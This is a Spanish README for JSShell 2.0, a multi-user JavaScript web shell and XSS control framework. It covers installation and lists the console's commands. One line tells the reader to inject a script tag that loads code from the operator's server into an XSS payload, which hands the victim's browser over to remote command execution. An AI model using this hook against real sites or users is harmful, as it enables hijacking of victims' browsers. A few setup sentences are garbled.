
Un shell web JS interactivo multiusuario
Un shell de JavaScript interactivo multiusuario basado en la web. Fue creado inicialmente para depurar navegadores esotéricos remotos durante experimentos e investigación. Esta herramienta se puede adjuntar fácilmente a cargas útiles XSS (Cross Site Scripting) para lograr la ejecución remota de código en el navegador (similar al framework BeeF).
La versión 2.0 fue creada desde cero, introduciendo nuevas y emocionantes características, estabilidad y mantenibilidad.
<script>En el directorio resources, actualice el archivo config.json con la configuración deseada:
docker, elija el host de la base de datos como db (que es el nombre del host interno).shell.js realiza llamadas AJAX para registrarse y consultar nuevos comandos. Generalmente será http[s]://{YOUR_SERVER_IP}:{PORT}.Ahora JSShell es compatible con TLS, lo que significa que puede generar certificados TLS y proporcionarlos al servidor web. El servidor web inferirá el nombre de dominio del archivo config.json. Para crear el certificado, use el script create_cert.py en la carpeta scripts:
$ cd scripts
$ python create_cert.py --domain <YOUR_DOMAIN> --email <YOUR_EMAIL>
Tenga en cuenta que el servidor web debe estar detenido para que el script funcione correctamente. ¡En este punto, hemos generado exitosamente nuestros certificados! Las únicas modificaciones que debemos hacer son:
config.json, cambie el esquema del campo URL a https.docker-compose.yml, cambie el puerto expuesto del contenedor web a 443.Esta nueva versión admite la instalación y ejecución de JSShell mediante docker y docker-compose. Ahora, para instalar y ejecutar todo el framework JSShell, simplemente ejecute:
$ ./scripts/start_docker_shell.sh
Esto hará:
JSShellSi aún desea usar el método tradicional de instalación, simplemente asegúrese de tener una base de datos MongoDB en funcionamiento y actualice el archivo config.json ubicado en el directorio resources.
Recomiendo usar un entorno virtual con pyenv:
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv
O usando virtualenv:
$ virtualenv -p python3.6 venv
$ source venv/bin/activate
Luego, instale los requisitos:
$ pip install -r requirements.txt
Si usó el método docker, no es necesario ejecutar el siguiente procedimiento.
De lo contrario, una vez que tengamos la base de datos configurada, debemos iniciar el servidor API web. Para hacerlo, ejecute:
$ python manage.py web
Esto creará y ejecutará un servidor web que escucha las conexiones entrantes y sirve nuestro código JSShell.
Ahora, para iniciar la CLI de JSShell, ejecute el mismo script pero ahora con la bandera shell:
$ python manage.py shell
Después de la configuración y ejecución de los componentes requeridos, ingrese el comando help para ver los comandos disponibles:
╦╔═╗┌─┐┬ ┬┌─┐┬ ┬
║╚═╗└─┐├─┤├┤ │ │
╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0
by @Daniel_Abeles
>> help
Documented commands (type help <topic>):
General Commands
--------------------------------------------------------------------------------
edit Edit a file in a text editor
help List available commands or provide detailed help for a specific command
history View, run, edit, save, or clear previously entered commands
ipy Enter an interactive IPython shell
py Invoke Python command or shell
quit Exit this application
Shell Based Operations
--------------------------------------------------------------------------------
back Un-select the current selected client
clients List and control the clients that have registered to our system
commands Show the executed commands on the selected client
dump Dumps a command to the disk
execute Execute commands on the selected client
select Select a client as the current client
>>
JSShell admite 2 métodos de operación:
Similar a otros frameworks de control XSS (como BeeF), JSShell es capaz de gestionar explotaciones XSS exitosas. Por ejemplo, si puede inyectar una etiqueta script, inyecte el siguiente recurso en su carga útil y un nuevo cliente aparecerá en su consola:
<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>
Si desea depurar navegadores exóticos y esotéricos, simplemente puede navegar a http[s]://{YOUR_SERVER_IP}:{PORT}/ y aparecerá un nuevo cliente en su cliente CLI de JSShell. Ahora es depurable a través de nuestra consola JSShell.
Canop por JSON.prune